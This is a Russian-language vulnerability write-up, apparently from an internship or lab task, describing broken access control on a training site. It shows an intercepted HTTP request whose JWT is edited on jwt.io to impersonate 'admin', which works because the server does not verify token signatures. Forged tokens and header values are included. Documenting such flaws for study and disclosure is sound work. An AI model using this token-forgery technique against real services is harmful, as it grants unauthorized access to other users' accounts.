

Найденную в этом задании уязвимость отнесу к Broken access control – уязвимости, когда пользователь без достаточных привилегий может выполнять действия от лица других пользователей или получать доступ к чувствительной информации

Используем отсутствие проверки подписи токена.

Шаги для воспроизведения:

### 1) Перехватим запрос фидбека от лица user1234

Overview Edit Request

POST /clients HTTP/1.1  
Host: internberries.ru  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0  
Accept: \*/\*  
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://internberries.ru/clients?feedback=&file=&link=  
X-Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaXNlcjEyMzQlLCJleHAiOjE3MjU1NDUzNjB9.QC4RQ0R4uZlq44tIoKzT35u8BIE3vOXIa0jQWXkQ2TQ  
Content-Type: multipart/form-data; boundary=-----146840027731751566333510697480  
Content-Length: 2467  
Origin: http://internberries.ru  
Authorization: Basic aHlucGUwLXZpZGNvYy1ndWt0WW06Z3VxQ2lnLXppc25heC0yY2F3d3k=  
Cookie: session=eyJ1c2VybmFtZSI6IjE1c2VyMTIzNCJ9.Ztm31A.zKhEk-dnaHNvhkgCqfhkBgsgGuU  
Priority: u=0  
Connection: keep-alive

URL Headers Cookies Authentication Text Multipart

Cancel Abort Execute

### 2) Декодируем тело токена на [JSON Web Tokens - jwt.io](https://jwt.io)

Encoded PASTE A TOKEN HERE

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaXNlcjEyMzQlLCJleHAiOjE3MjU1NDUzNjB9.QC4RQ0R4uZlq44tIoKzT35u8BIE3vOXIa0jQWXkQ2TQ

Decoded EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

{  
 "alg": "HS256",  
 "typ": "JWT"  
}

PAYLOAD: DATA

{  
 "user": "user1234",  
 "exp": 1725545360  
}

VERIFY SIGNATURE

3) В декодированном виде заменим ту часть, где содержится информация о текущем пользователе.

## Encoded PASTE A TOKEN HERE

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoieWRtaW4iLCJleHAiOjE3MjU1NDUzNjB9.JQGLEbXsk7-gjq62ShTOFiOG1Ky6YH9Di2OMlpnkKM4
```

## Decoded EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "HS256",
  "typ": "JWT"
}
```

PAYLOAD: DATA

```
{
  "user": "admin",
  "exp": 1725545360
}
```

VERIFY SIGNATURE

```
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  
) ☐ secret ☒ base64 ☒ encoded
```

4) Скопируем получившийся токен в закодированном виде и вставим в перехваченный запрос

Referer: http://internberries.ru/clients?feedback=&file=&link=  
X-Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoieWRtaW4iLCJleHAiOjE3MjU1NDUzNjB9.JQGLEbXsk7-gjq62ShTOFiOG1Ky6YH9Di2OMlpnkKM4  
Content-Type: multipart/form-data; boundary=-----146840027731751566333510697480

5) Отправим запрос.

Имя пользователя: admin

Коментарий: 12

